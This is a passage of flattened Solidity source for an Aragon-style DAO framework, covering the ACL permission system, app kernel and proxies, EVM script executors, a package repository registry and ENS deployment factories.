require(msg.sender == getPermissionManager(_app, _role));
_;
}
event SetPermission(address indexed entity, address indexed app, bytes32 indexed role, bool allowed);
event ChangePermissionManager(address indexed app, bytes32 indexed role, address indexed manager);
/**
* @dev Initialize can only be called once. It saves the block number in which it was initialized.
* @notice Initializes an ACL instance and sets `_permissionsCreator` as the entity that can create other permissions
* @param _permissionsCreator Entity that will be given permission over createPermission
*/
function initialize(address _permissionsCreator) onlyInit public {
initialized();
require(msg.sender == address(kernel));
_createPermission(_permissionsCreator, this, CREATE_PERMISSIONS_ROLE, _permissionsCreator);
}
/**
* @dev Creates a permission that wasn't previously set. Access is limited by the ACL.
* If a created permission is removed it is possible to reset it with createPermission.
* @notice Create a new permission granting `_entity` the ability to perform actions of role `_role` on `_app` (setting `_manager` as the permission manager)
* @param _entity Address of the whitelisted entity that will be able to perform the role
* @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL)
* @param _role Identifier for the group of actions in app given access to perform
* @param _manager Address of the entity that will be able to grant and revoke the permission further.
*/
function createPermission(address _entity, address _app, bytes32 _role, address _manager) external {
require(hasPermission(msg.sender, address(this), CREATE_PERMISSIONS_ROLE));
_createPermission(_entity, _app, _role, _manager);
}
/**
* @dev Grants permission if allowed. This requires `msg.sender` to be the permission manager
* @notice Grants `_entity` the ability to perform actions of role `_role` on `_app`
* @param _entity Address of the whitelisted entity that will be able to perform the role
* @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL)
* @param _role Identifier for the group of actions in app given access to perform
*/
function grantPermission(address _entity, address _app, bytes32 _role)
external
{
grantPermissionP(_entity, _app, _role, new uint256[](0));
}
/**
* @dev Grants a permission with parameters if allowed. This requires `msg.sender` to be the permission manager
* @notice Grants `_entity` the ability to perform actions of role `_role` on `_app`
* @param _entity Address of the whitelisted entity that will be able to perform the role
* @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL)
* @param _role Identifier for the group of actions in app given access to perform
* @param _params Permission parameters
*/
function grantPermissionP(address _entity, address _app, bytes32 _role, uint256[] _params)
onlyPermissionManager(_app, _role)
public
{
require(!hasPermission(_entity, _app, _role));
bytes32 paramsHash = _params.length > 0 ? _saveParams(_params) : EMPTY_PARAM_HASH;
_setPermission(_entity, _app, _role, paramsHash);
}
/**
* @dev Revokes permission if allowed. This requires `msg.sender` to be the the permission manager
* @notice Revokes `_entity` the ability to perform actions of role `_role` on `_app`
* @param _entity Address of the whitelisted entity to revoke access from
* @param _app Address of the app in which the role will be revoked
* @param _role Identifier for the group of actions in app being revoked
*/
function revokePermission(address _entity, address _app, bytes32 _role)
onlyPermissionManager(_app, _role)
external
{
require(hasPermission(_entity, _app, _role));
_setPermission(_entity, _app, _role, bytes32(0));
}
/**
* @notice Sets `_newManager` as the manager of the permission `_role` in `_app`
* @param _newManager Address for the new manager
* @param _app Address of the app in which the permission management is being transferred
* @param _role Identifier for the group of actions being transferred
*/
function setPermissionManager(address _newManager, address _app, bytes32 _role)
onlyPermissionManager(_app, _role)
external
{
_setPermissionManager(_newManager, _app, _role);
}
/**
* @dev Get manager for permission
* @param _app Address of the app
* @param _role Identifier for a group of actions in app
* @return address of the manager for the permission
*/
function getPermissionManager(address _app, bytes32 _role) public view returns (address) {
return permissionManager[roleHash(_app, _role)];
}
/**
* @dev Function called by apps to check ACL on kernel or to check permission statu
* @param _who Sender of the original call
* @param _where Address of the app
* @param _where Identifier for a group of actions in app
* @param _how Permission parameters
* @return boolean indicating whether the ACL allows the role or not
*/
function hasPermission(address _who, address _where, bytes32 _what, bytes memory _how) public view returns (bool) {
uint256[] memory how;
uint256 intsLength = _how.length / 32;
assembly {
how := _how // forced casting
mstore(how, intsLength)
}
// _how is invalid from this point fwd
return hasPermission(_who, _where, _what, how);
}
function hasPermission(address _who, address _where, bytes32 _what, uint256[] memory _how) public view returns (bool) {
bytes32 whoParams = permissions[permissionHash(_who, _where, _what)];
if (whoParams != bytes32(0) && evalParams(whoParams, _who, _where, _what, _how)) {
return true;
}
bytes32 anyParams = permissions[permissionHash(ANY_ENTITY, _where, _what)];
if (anyParams != bytes32(0) && evalParams(anyParams, ANY_ENTITY, _where, _what, _how)) {
return true;
}
return false;
}
function hasPermission(address _who, address _where, bytes32 _what) public view returns (bool) {
uint256[] memory empty = new uint256[](0);
return hasPermission(_who, _where, _what, empty);
}
/**
* @dev Internal createPermission for access inside the kernel (on instantiation)
*/
function _createPermission(address _entity, address _app, bytes32 _role, address _manager) internal {
// only allow permission creation (or re-creation) when there is no manager
require(getPermissionManager(_app, _role) == address(0));
_setPermission(_entity, _app, _role, EMPTY_PARAM_HASH);
_setPermissionManager(_manager, _app, _role);
}
/**
* @dev Internal function called to actually save the permission
*/
function _setPermission(address _entity, address _app, bytes32 _role, bytes32 _paramsHash) internal {
permissions[permissionHash(_entity, _app, _role)] = _paramsHash;
SetPermission(_entity, _app, _role, _paramsHash != bytes32(0));
}
function _saveParams(uint256[] _encodedParams) internal returns (bytes32) {
bytes32 paramHash = keccak256(_encodedParams);
Param[] storage params = permissionParams[paramHash];
if (params.length == 0) { // params not saved before
for (uint256 i = 0; i < _encodedParams.length; i++) {
uint256 encodedParam = _encodedParams[i];
Param memory param = Param(decodeParamId(encodedParam), decodeParamOp(encodedParam), uint240(encodedParam));
params.push(param);
}
}
return paramHash;
}
function evalParams(
bytes32 _paramsHash,
address _who,
address _where,
bytes32 _what,
uint256[] _how
) internal view returns (bool)
{
if (_paramsHash == EMPTY_PARAM_HASH) {
return true;
}
return evalParam(_paramsHash, 0, _who, _where, _what, _how);
}
function evalParam(
bytes32 _paramsHash,
uint32 _paramId,
address _who,
address _where,
bytes32 _what,
uint256[] _how
) internal view returns (bool)
{
if (_paramId >= permissionParams[_paramsHash].length) {
return false; // out of bounds
}
Param memory param = permissionParams[_paramsHash][_paramId];
if (param.id == LOGIC_OP_PARAM_ID) {
return evalLogic(param, _paramsHash, _who, _where, _what, _how);
}
uint256 value;
uint256 comparedTo = uint256(param.value);
// get value
if (param.id == ORACLE_PARAM_ID) {
value = ACLOracle(param.value).canPerform(_who, _where, _what) ? 1 : 0;
comparedTo = 1;
} else if (param.id == BLOCK_NUMBER_PARAM_ID) {
value = blockN();
} else if (param.id == TIMESTAMP_PARAM_ID) {
value = time();
} else if (param.id == SENDER_PARAM_ID) {
value = uint256(msg.sender);
} else if (param.id == PARAM_VALUE_PARAM_ID) {
value = uint256(param.value);
} else {
if (param.id >= _how.length) {
return false;
}
value = uint256(uint240(_how[param.id])); // force lost precision
}
if (Op(param.op) == Op.RET) {
return uint256(value) > 0;
}
return compare(value, Op(param.op), comparedTo);
}
function evalLogic(Param _param, bytes32 _paramsHash, address _who, address _where, bytes32 _what, uint256[] _how) internal view returns (bool) {
if (Op(_param.op) == Op.IF_ELSE) {
var (condition, success, failure) = decodeParamsList(uint256(_param.value));
bool result = evalParam(_paramsHash, condition, _who, _where, _what, _how);
return evalParam(_paramsHash, result ? success : failure, _who, _where, _what, _how);
}
var (v1, v2,) = decodeParamsList(uint256(_param.value));
bool r1 = evalParam(_paramsHash, v1, _who, _where, _what, _how);
if (Op(_param.op) == Op.NOT) {
return !r1;
}
if (r1 && Op(_param.op) == Op.OR) {
return true;
}
if (!r1 && Op(_param.op) == Op.AND) {
return false;
}
bool r2 = evalParam(_paramsHash, v2, _who, _where, _what, _how);
if (Op(_param.op) == Op.XOR) {
return (r1 && !r2) || (!r1 && r2);
}
return r2; // both or and and depend on result of r2 after checks
}
function compare(uint256 _a, Op _op, uint256 _b) internal pure returns (bool) {
if (_op == Op.EQ) return _a == _b; // solium-disable-line lbrace
if (_op == Op.NEQ) return _a != _b; // solium-disable-line lbrace
if (_op == Op.GT) return _a > _b; // solium-disable-line lbrace
if (_op == Op.LT) return _a < _b; // solium-disable-line lbrace
if (_op == Op.GTE) return _a >= _b; // solium-disable-line lbrace
if (_op == Op.LTE) return _a <= _b; // solium-disable-line lbrace
return false;
}
/**
* @dev Internal function that sets management
*/
function _setPermissionManager(address _newManager, address _app, bytes32 _role) internal {
permissionManager[roleHash(_app, _role)] = _newManager;
ChangePermissionManager(_app, _role, _newManager);
}
function roleHash(address _where, bytes32 _what) pure internal returns (bytes32) {
return keccak256(uint256(1), _where, _what);
}
function permissionHash(address _who, address _where, bytes32 _what) pure internal returns (bytes32) {
return keccak256(uint256(2), _who, _where, _what);
}
function time() internal view returns (uint64) { return uint64(block.timestamp); } // solium-disable-line security/no-block-members
function blockN() internal view returns (uint256) { return block.number; }
}
//File: contracts/apm/Repo.sol
pragma solidity ^0.4.15;
contract Repo is AragonApp {
struct Version {
uint16[3] semanticVersion;
address contractAddress;
bytes contentURI;
}
Version[] versions;
mapping (bytes32 => uint256) versionIdForSemantic;
mapping (address => uint256) latestVersionIdForContract;
bytes32 constant public CREATE_VERSION_ROLE = bytes32(1);
event NewVersion(uint256 versionId, uint16[3] semanticVersion);
/**
* @notice Create new version for repo
* @param _newSemanticVersion Semantic version for new repo version
* @param _contractAddress address for smart contract logic for version (if set to 0, it uses last versions' contractAddress)
* @param _contentURI External URI for fetching new version's content
*/
function newVersion(
uint16[3] _newSemanticVersion,
address _contractAddress,
bytes _contentURI
) auth(CREATE_VERSION_ROLE) public
{
address contractAddress = _contractAddress;
if (versions.length > 0) {
Version storage lastVersion = versions[versions.length - 1];
require(isValidBump(lastVersion.semanticVersion, _newSemanticVersion));
if (contractAddress == 0) {
contractAddress = lastVersion.contractAddress;
}
// Only allows smart contract change on major version bumps
require(lastVersion.contractAddress == contractAddress || _newSemanticVersion[0] > lastVersion.semanticVersion[0]);
} else {
versions.length += 1;
uint16[3] memory zeroVersion;
require(isValidBump(zeroVersion, _newSemanticVersion));
}
uint versionId = versions.push(Version(_newSemanticVersion, contractAddress, _contentURI)) - 1;
versionIdForSemantic[semanticVersionHash(_newSemanticVersion)] = versionId;
latestVersionIdForContract[contractAddress] = versionId;
NewVersion(versionId, _newSemanticVersion);
}
function getLatest() public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) {
return getByVersionId(versions.length - 1);
}
function getLatestForContractAddress(address _contractAddress) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) {
return getByVersionId(latestVersionIdForContract[_contractAddress]);
}
function getBySemanticVersion(uint16[3] _semanticVersion) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) {
return getByVersionId(versionIdForSemantic[semanticVersionHash(_semanticVersion)]);
}
function getByVersionId(uint _versionId) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) {
require(_versionId > 0);
Version storage version = versions[_versionId];
return (version.semanticVersion, version.contractAddress, version.contentURI);
}
function getVersionsCount() public view returns (uint256) {
uint256 len = versions.length;
return len > 0 ? len - 1 : 0;
}
function isValidBump(uint16[3] _oldVersion, uint16[3] _newVersion) public pure returns (bool) {
bool hasBumped;
uint i = 0;
while (i < 3) {
if (hasBumped) {
if (_newVersion[i] != 0) {
return false;
}
} else if (_newVersion[i] != _oldVersion[i]) {
if (_oldVersion[i] > _newVersion[i] || _newVersion[i] - _oldVersion[i] != 1) {
return false;
}
hasBumped = true;
}
i++;
}
return hasBumped;
}
function semanticVersionHash(uint16[3] version) internal pure returns (bytes32) {
return keccak256(version[0], version[1], version[2]);
}
}
//File: contracts/apm/APMRegistry.sol
pragma solidity 0.4.18;
contract APMRegistryConstants {
// Cant have a regular APM appId because it is used to build APM
// TODO: recheck this
string constant public APM_APP_NAME = "apm-registry";
string constant public REPO_APP_NAME = "apm-repo";
string constant public ENS_SUB_APP_NAME = "apm-enssub";
}
contract APMRegistry is AragonApp, AppProxyFactory, APMRegistryConstants {
AbstractENS ens;
ENSSubdomainRegistrar public registrar;
bytes32 constant public CREATE_REPO_ROLE = bytes32(1);
event NewRepo(bytes32 id, string name, address repo);
/**
* NEEDS CREATE_NAME_ROLE and POINT_ROOTNODE_ROLE permissions on registrar
* @param _registrar ENSSubdomainRegistrar instance that holds registry root node ownership
*/
function initialize(ENSSubdomainRegistrar _registrar) onlyInit public {
initialized();
registrar = _registrar;
ens = registrar.ens();
registrar.pointRootNode(this);
// Check APM has all permissions it needss
ACL acl = ACL(kernel.acl());
require(acl.hasPermission(this, registrar, registrar.CREATE_NAME_ROLE()));
require(acl.hasPermission(this, acl, acl.CREATE_PERMISSIONS_ROLE()));
}
/**
* @notice Create new repo in registry with `_name`
* @param _name Repo name, must be ununsed
* @param _dev Address that will be given permission to create versions
*/
function newRepo(string _name, address _dev) auth(CREATE_REPO_ROLE) public returns (Repo) {
return _newRepo(_name, _dev);
}
/**
* @notice Create new repo in registry with `_name` and first repo version
* @param _name Repo name
* @param _dev Address that will be given permission to create versions
* @param _initialSemanticVersion Semantic version for new repo version
* @param _contractAddress address for smart contract logic for version (if set to 0, it uses last versions' contractAddress)
* @param _contentURI External URI for fetching new version's content
*/
function newRepoWithVersion(
string _name,
address _dev,
uint16[3] _initialSemanticVersion,
address _contractAddress,
bytes _contentURI
) auth(CREATE_REPO_ROLE) public returns (Repo)
{
Repo repo = _newRepo(_name, this); // need to have permissions to create version
repo.newVersion(_initialSemanticVersion, _contractAddress, _contentURI);
// Give permissions to _dev
ACL acl = ACL(kernel.acl());
acl.revokePermission(this, repo, repo.CREATE_VERSION_ROLE());
acl.grantPermission(_dev, repo, repo.CREATE_VERSION_ROLE());
acl.setPermissionManager(_dev, repo, repo.CREATE_VERSION_ROLE());
return repo;
}
function _newRepo(string _name, address _dev) internal returns (Repo) {
require(bytes(_name).length > 0);
Repo repo = newClonedRepo();
ACL(kernel.acl()).createPermission(_dev, repo, repo.CREATE_VERSION_ROLE(), _dev);
// Creates [name] subdomain in the rootNode and sets registry as resolver
// This will fail if repo name already exists
bytes32 node = registrar.createNameAndPoint(keccak256(_name), repo);
NewRepo(node, _name, repo);
return repo;
}
function newClonedRepo() internal returns (Repo) {
return Repo(newAppProxy(kernel, repoAppId()));
}
function repoAppId() internal view returns (bytes32) {
return keccak256(registrar.rootNode(), keccak256(REPO_APP_NAME));
}
}
//File: contracts/kernel/Kernel.sol
pragma solidity 0.4.18;
contract Kernel is IKernel, KernelStorage, Initializable, AppProxyFactory, ACLSyntaxSugar {
bytes32 constant public APP_MANAGER_ROLE = keccak256("APP_MANAGER_ROLE");
/**
* @dev Initialize can only be called once. It saves the block number in which it was initialized.
* @notice Initializes a kernel instance along with its ACL and sets `_permissionsCreator` as the entity that can create other permissions
* @param _baseAcl Address of base ACL app
* @param _permissionsCreator Entity that will be given permission over createPermission
*/
function initialize(address _baseAcl, address _permissionsCreator) onlyInit public {
initialized();
IACL acl = IACL(newAppProxy(this, ACL_APP_ID));
_setApp(APP_BASES_NAMESPACE, ACL_APP_ID, _baseAcl);
_setApp(APP_ADDR_NAMESPACE, ACL_APP_ID, acl);
acl.initialize(_permissionsCreator);
}
/**
* @dev Create a new instance of an app linked to this kernel and set its base
* implementation if it was not already set
* @param _name Name of the app
* @param _appBase Address of the app's base implementation
* @return AppProxy instance
*/
function newAppInstance(bytes32 _name, address _appBase) auth(APP_MANAGER_ROLE, arr(APP_BASES_NAMESPACE, _name)) public returns (IAppProxy appProxy) {
_setAppIfNew(APP_BASES_NAMESPACE, _name, _appBase);
appProxy = newAppProxy(this, _name);
}
/**
* @dev Create a new pinned instance of an app linked to this kernel and set
* its base implementation if it was not already set
* @param _name Name of the app
* @param _appBase Address of the app's base implementation
* @return AppProxy instance
*/
function newPinnedAppInstance(bytes32 _name, address _appBase) auth(APP_MANAGER_ROLE, arr(APP_BASES_NAMESPACE, _name)) public returns (IAppProxy appProxy) {
_setAppIfNew(APP_BASES_NAMESPACE, _name, _appBase);
appProxy = newAppProxyPinned(this, _name);
}
/**
* @dev Set the resolving address of an app instance or base implementation
* @param _namespace App namespace to use
* @param _name Name of the app
* @param _app Address of the app
* @return ID of app
*/
function setApp(bytes32 _namespace, bytes32 _name, address _app) auth(APP_MANAGER_ROLE, arr(_namespace, _name)) kernelIntegrity public returns (bytes32 id) {
return _setApp(_namespace, _name, _app);
}
/**
* @dev Get the address of an app instance or base implementation
* @param _id App identifier
* @return Address of the app
*/
function getApp(bytes32 _id) public view returns (address) {
return apps[_id];
}
/**
* @dev Get the installed ACL app
* @return ACL app
*/
function acl() public view returns (IACL) {
return IACL(getApp(ACL_APP));
}
/**
* @dev Function called by apps to check ACL on kernel or to check permission status
* @param _who Sender of the original call
* @param _where Address of the app
* @param _what Identifier for a group of actions in app
* @param _how Extra data for ACL auth
* @return boolean indicating whether the ACL allows the role or not
*/
function hasPermission(address _who, address _where, bytes32 _what, bytes _how) public view returns (bool) {
return acl().hasPermission(_who, _where, _what, _how);
}
function _setApp(bytes32 _namespace, bytes32 _name, address _app) internal returns (bytes32 id) {
id = keccak256(_namespace, _name);
apps[id] = _app;
SetApp(_namespace, _name, id, _app);
}
function _setAppIfNew(bytes32 _namespace, bytes32 _name, address _app) internal returns (bytes32 id) {
id = keccak256(_namespace, _name);
if (_app != address(0)) {
address app = getApp(id);
if (app != address(0)) {
require(app == _app);
} else {
apps[id] = _app;
SetApp(_namespace, _name, id, _app);
}
}
}
modifier auth(bytes32 _role, uint256[] memory params) {
bytes memory how;
uint256 byteLength = params.length * 32;
assembly {
how := params // forced casting
mstore(how, byteLength)
}
// Params is invalid from this point fwd
require(hasPermission(msg.sender, address(this), _role, how));
_;
}
modifier kernelIntegrity {
_; // After execution check integrity
address kernel = getApp(KERNEL_APP);
uint256 size;
assembly { size := extcodesize(kernel) }
require(size > 0);
}
}
//File: contracts/kernel/KernelProxy.sol
pragma solidity 0.4.18;
contract KernelProxy is KernelStorage, DelegateProxy {
/**
* @dev KernelProxy is a proxy contract to a kernel implementation. The implementation
* can update the reference, which effectively upgrades the contract
* @param _kernelImpl Address of the contract used as implementation for kernel
*/
function KernelProxy(address _kernelImpl) public {
apps[keccak256(CORE_NAMESPACE, KERNEL_APP_ID)] = _kernelImpl;
}
/**
* @dev All calls made to the proxy are forwarded to the kernel implementation via a delegatecall
* @return Any bytes32 value the implementation returns
*/
function () payable public {
delegatedFwd(apps[KERNEL_APP], msg.data);
}
}
//File: contracts/evmscript/EVMScriptRegistry.sol
pragma solidity 0.4.18;
contract EVMScriptRegistry is IEVMScriptRegistry, EVMScriptRegistryConstants, AragonApp {
using ScriptHelpers for bytes;
// WARN: Manager can censor all votes and the like happening in an org
bytes32 constant public REGISTRY_MANAGER_ROLE = bytes32(1);
struct ExecutorEntry {
address executor;
bool enabled;
}
ExecutorEntry[] public executors;
function initialize() onlyInit public {
initialized();
// Create empty record to begin executor IDs at 1
executors.push(ExecutorEntry(address(0), false));
}
function addScriptExecutor(address _executor) external auth(REGISTRY_MANAGER_ROLE) returns (uint id) {
return executors.push(ExecutorEntry(_executor, true));
}
function disableScriptExecutor(uint256 _executorId) external auth(REGISTRY_MANAGER_ROLE) {
executors[_executorId].enabled = false;
}
function getScriptExecutor(bytes _script) public view returns (address) {
uint256 id = _script.getSpecId();
if (id == 0 || id >= executors.length) {
return address(0);
}
ExecutorEntry storage entry = executors[id];
return entry.enabled ? entry.executor : address(0);
}
}
//File: contracts/evmscript/executors/CallsScript.sol
pragma solidity ^0.4.18;
// Inspired by https://github.com/reverendus/tx-manager
contract CallsScript is IEVMScriptExecutor {
using ScriptHelpers for bytes;
uint256 constant internal SCRIPT_START_LOCATION = 4;
event LogScriptCall(address indexed sender, address indexed src, address indexed dst);
/**
* @notice Executes a number of call scripts
* @param _script [ specId (uint32) ] many calls with this structure ->
* [ to (address: 20 bytes) ] [ calldataLength (uint32: 4 bytes) ] [ calldata (calldataLength bytes) ]
* @param _input Input is ignored in callscript
* @param _blacklist Addresses the script cannot call to, or will revert.
* @return always returns empty byte array
*/
function execScript(bytes _script, bytes _input, address[] _blacklist) external returns (bytes) {
uint256 location = SCRIPT_START_LOCATION; // first 32 bits are spec id
while (location < _script.length) {
address contractAddress = _script.addressAt(location);
// Check address being called is not blacklist
for (uint i = 0; i < _blacklist.length; i++) {
require(contractAddress != _blacklist[i]);
}
// logged before execution to ensure event ordering in receipt
// if failed entire execution is reverted regardless
LogScriptCall(msg.sender, address(this), contractAddress);
uint256 calldataLength = uint256(_script.uint32At(location + 0x14));
uint256 calldataStart = _script.locationOf(location + 0x14 + 0x04);
assembly {
let success := call(sub(gas, 5000), contractAddress, 0, calldataStart, calldataLength, 0, 0)
switch success case 0 { revert(0, 0) }
}
location += (0x14 + 0x04 + calldataLength);
}
}
}
//File: contracts/evmscript/executors/DelegateScript.sol
pragma solidity 0.4.18;
interface DelegateScriptTarget {
function exec() public;
}
contract DelegateScript is IEVMScriptExecutor {
using ScriptHelpers for *;
uint256 constant internal SCRIPT_START_LOCATION = 4;
/**
* @notice Executes script by delegatecall into a contract
* @param _script [ specId (uint32) ][ contract address (20 bytes) ]
* @param _input ABI encoded call to be made to contract (if empty executes default exec() function)
* @param _blacklist If any address is passed, will revert.
* @return Call return data
*/
function execScript(bytes _script, bytes _input, address[] _blacklist) external returns (bytes) {
require(_blacklist.length == 0); // dont have ability to control bans, so fail.
// Script should be spec id + address (20 bytes)
require(_script.length == SCRIPT_START_LOCATION + 20);
return delegate(_script.addressAt(SCRIPT_START_LOCATION), _input);
}
/**
* @dev Delegatecall to contract with input data
*/
function delegate(address _addr, bytes memory _input) internal returns (bytes memory output) {
require(isContract(_addr));
require(_addr.delegatecall(_input.length > 0 ? _input : defaultInput()));
return returnedData();
}
function isContract(address _target) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_target) }
return size > 0;
}
function defaultInput() internal pure returns (bytes) {
return DelegateScriptTarget(0).exec.selector.toBytes();
}
/**
* @dev copies and returns last's call data
*/
function returnedData() internal view returns (bytes ret) {
assembly {
let size := returndatasize
ret := mload(0x40) // free mem ptr get
mstore(0x40, add(ret, add(size, 0x20))) // free mem ptr set
mstore(ret, size) // set array length
returndatacopy(add(ret, 0x20), 0, size) // copy return data
}
return ret;
}
}
//File: contracts/evmscript/executors/DeployDelegateScript.sol
pragma solidity 0.4.18;
// Inspired by: https://github.com/dapphub/ds-proxy/blob/master/src/proxy.sol
contract DeployDelegateScript is DelegateScript {
uint256 constant internal SCRIPT_START_LOCATION = 4;
mapping (bytes32 => address) cache;
/**
* @notice Executes script by delegatecall into a deployed contract (exec() function)
* @param _script [ specId (uint32) ][ contractInitcode (bytecode) ]
* @param _input ABI encoded call to be made to contract (if empty executes default exec() function)
* @param _blacklist If any address is passed, will revert.
* @return Call return data
*/
function execScript(bytes _script, bytes _input, address[] _blacklist) external returns (bytes) {
require(_blacklist.length == 0); // dont have ability to control bans, so fail.
bytes32 id = keccak256(_script);
address deployed = cache[id];
if (deployed == address(0)) {
deployed = deploy(_script);
cache[id] = deployed;
}
return DelegateScript.delegate(deployed, _input);
}
/**
* @dev Deploys contract byte code to network
*/
function deploy(bytes _script) internal returns (address addr) {
assembly {
// 0x24 = 0x20 (length) + 0x04 (spec id uint32)
// Length of code is 4 bytes less than total script size
addr := create(0, add(_script, 0x24), sub(mload(_script), 0x04))
switch iszero(extcodesize(addr))
case 1 { revert(0, 0) } // throw if contract failed to deploy
}
}
}
//File: contracts/factory/EVMScriptRegistryFactory.sol
pragma solidity 0.4.18;
contract EVMScriptRegistryFactory is AppProxyFactory, EVMScriptRegistryConstants {
address public baseReg;
address public baseCalls;
address public baseDel;
address public baseDeployDel;
function EVMScriptRegistryFactory() public {
baseReg = address(new EVMScriptRegistry());
baseCalls = address(new CallsScript());
baseDel = address(new DelegateScript());
baseDeployDel = address(new DeployDelegateScript());
}
function newEVMScriptRegistry(Kernel _dao, address _root) public returns (EVMScriptRegistry reg) {
reg = EVMScriptRegistry(_dao.newPinnedAppInstance(EVMSCRIPT_REGISTRY_APP_ID, baseReg));
reg.initialize();
ACL acl = ACL(_dao.acl());
_dao.setApp(_dao.APP_ADDR_NAMESPACE(), EVMSCRIPT_REGISTRY_APP_ID, reg);
acl.createPermission(this, reg, reg.REGISTRY_MANAGER_ROLE(), this);
reg.addScriptExecutor(baseCalls); // spec 1 = CallsScript
reg.addScriptExecutor(baseDel); // spec 2 = DelegateScript
reg.addScriptExecutor(baseDeployDel); // spec 3 = DeployDelegateScript
acl.revokePermission(this, reg, reg.REGISTRY_MANAGER_ROLE());
acl.setPermissionManager(_root, reg, reg.REGISTRY_MANAGER_ROLE());
return reg;
}
}
//File: contracts/factory/DAOFactory.sol
pragma solidity 0.4.18;
contract DAOFactory {
address public baseKernel;
address public baseACL;
EVMScriptRegistryFactory public regFactory;
event DeployDAO(address dao);
event DeployEVMScriptRegistry(address reg);
function DAOFactory(address _baseKernel, address _baseACL, address _regFactory) public {
// No need to init as it cannot be killed by devops199
if (_regFactory != address(0)) {
regFactory = EVMScriptRegistryFactory(_regFactory);
}
baseKernel = _baseKernel;
baseACL = _baseACL;
}
/**
* @param _root Address that will be granted control to setup DAO permissions
*/
function newDAO(address _root) public returns (Kernel dao) {
dao = Kernel(new KernelProxy(baseKernel));
address initialRoot = address(regFactory) != address(0) ? this : _root;
dao.initialize(baseACL, initialRoot);
ACL acl = ACL(dao.acl());
if (address(regFactory) != address(0)) {
bytes32 permRole = acl.CREATE_PERMISSIONS_ROLE();
bytes32 appManagerRole = dao.APP_MANAGER_ROLE();
acl.grantPermission(regFactory, acl, permRole);
acl.createPermission(regFactory, dao, appManagerRole, this);
EVMScriptRegistry reg = regFactory.newEVMScriptRegistry(dao, _root);
DeployEVMScriptRegistry(address(reg));
acl.revokePermission(regFactory, dao, appManagerRole);
acl.grantPermission(_root, acl, permRole);
acl.setPermissionManager(address(0), dao, appManagerRole);
acl.setPermissionManager(_root, acl, permRole);
}
DeployDAO(dao);
}
}
//File: contracts/lib/ens/ENS.sol
pragma solidity ^0.4.0;
/**
* The ENS registry contract.
*/
contract ENS is AbstractENS {
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping(bytes32=>Record) records;
// Permits modifications only by the owner of the specified node.
modifier only_owner(bytes32 node) {
if (records[node].owner != msg.sender) throw;
_;
}
/**
* Constructs a new ENS registrar.
*/
function ENS() {
records[0].owner = msg.sender;
}
/**
* Returns the address that owns the specified node.
*/
function owner(bytes32 node) constant returns (address) {
return records[node].owner;
}
/**
* Returns the address of the resolver for the specified node.
*/
function resolver(bytes32 node) constant returns (address) {
return records[node].resolver;
}
/**
* Returns the TTL of a node, and any records associated with it.
*/
function ttl(bytes32 node) constant returns (uint64) {
return records[node].ttl;
}
/**
* Transfers ownership of a node to a new address. May only be called by the current
* owner of the node.
* @param node The node to transfer ownership of.
* @param owner The address of the new owner.
*/
function setOwner(bytes32 node, address owner) only_owner(node) {
Transfer(node, owner);
records[node].owner = owner;
}
/**
* Transfers ownership of a subnode keccak256(node, label) to a new address. May only be
* called by the owner of the parent node.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
*/
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) only_owner(node) {
var subnode = keccak256(node, label);
NewOwner(node, label, owner);
records[subnode].owner = owner;
}
/**
* Sets the resolver address for the specified node.
* @param node The node to update.
* @param resolver The address of the resolver.
*/
function setResolver(bytes32 node, address resolver) only_owner(node) {
NewResolver(node, resolver);
records[node].resolver = resolver;
}
/**
* Sets the TTL for the specified node.
* @param node The node to update.
* @param ttl The TTL in seconds.
*/
function setTTL(bytes32 node, uint64 ttl) only_owner(node) {
NewTTL(node, ttl);
records[node].ttl = ttl;
}
}
//File: contracts/factory/ENSFactory.sol
pragma solidity 0.4.18;
contract ENSFactory is ENSConstants {
event DeployENS(address ens);
// This is an incredibly trustfull ENS deployment, only use for testing
function newENS(address _owner) public returns (ENS ens) {
ens = new ENS();
// Setup .eth TLD
ens.setSubnodeOwner(ENS_ROOT, ETH_TLD_LABEL, this);
// Setup public resolver
PublicResolver resolver = new PublicResolver(ens);
ens.setSubnodeOwner(ETH_TLD_NODE, PUBLIC_RESOLVER_LABEL, this);
ens.setResolver(PUBLIC_RESOLVER_NODE, resolver);
resolver.setAddr(PUBLIC_RESOLVER_NODE, resolver);
ens.setOwner(ETH_TLD_NODE, _owner);
ens.setOwner(ENS_ROOT, _owner);
DeployENS(ens);
}
}
//File: contracts/factory/APMRegistryFactory.sol
pragma solidity 0.4.18;
contract APMRegistryFactory is APMRegistryConstants {
DAOFactory public daoFactory;
APMRegistry public registryBase;
Repo public repoBase;
ENSSubdomainRegistrar public ensSubdomainRegistrarBase;
ENS public ens;
event DeployAPM(bytes32 indexed node, address apm);
// Needs either one ENS or ENSFactory
function APMRegistryFactory(
DAOFactory _daoFactory,
APMRegistry _registryBase,
Repo _repoBase,
ENSSubdomainRegistrar _ensSubBase,
ENS _ens,
ENSFactory _ensFactory
) public // DAO initialized without evmscript run support
{
daoFactory = _daoFactory;
registryBase = _registryBase;
repoBase = _repoBase;
ensSubdomainRegistrarBase = _ensSubBase;
// Either the ENS address provided is used, if any.
// Or we use the ENSFactory to generate a test instance of ENS
// If not the ENS address nor factory address are provided, this will revert
ens = _ens != address(0) ? _ens : _ensFactory.newENS(this);
}
function newAPM(bytes32 _tld, bytes32 _label, address _root) public returns (APMRegistry) {
bytes32 node = keccak256(_tld, _label);
// Assume it is the test ENS
if (ens.owner(node) != address(this)) {
// If we weren't in test ens and factory doesn't have ownership, will fail
ens.setSubnodeOwner(_tld, _label, this);
}
Kernel dao = daoFactory.newDAO(this);
ACL acl = ACL(dao.acl());
acl.createPermission(this, dao, dao.APP_MANAGER_ROLE(), this);
bytes32 namespace = dao.APP_BASES_NAMESPACE();
// Deploy app proxies
ENSSubdomainRegistrar ensSub = ENSSubdomainRegistrar(dao.newAppInstance(keccak256(node, keccak256(ENS_SUB_APP_NAME)), ensSubdomainRegistrarBase));
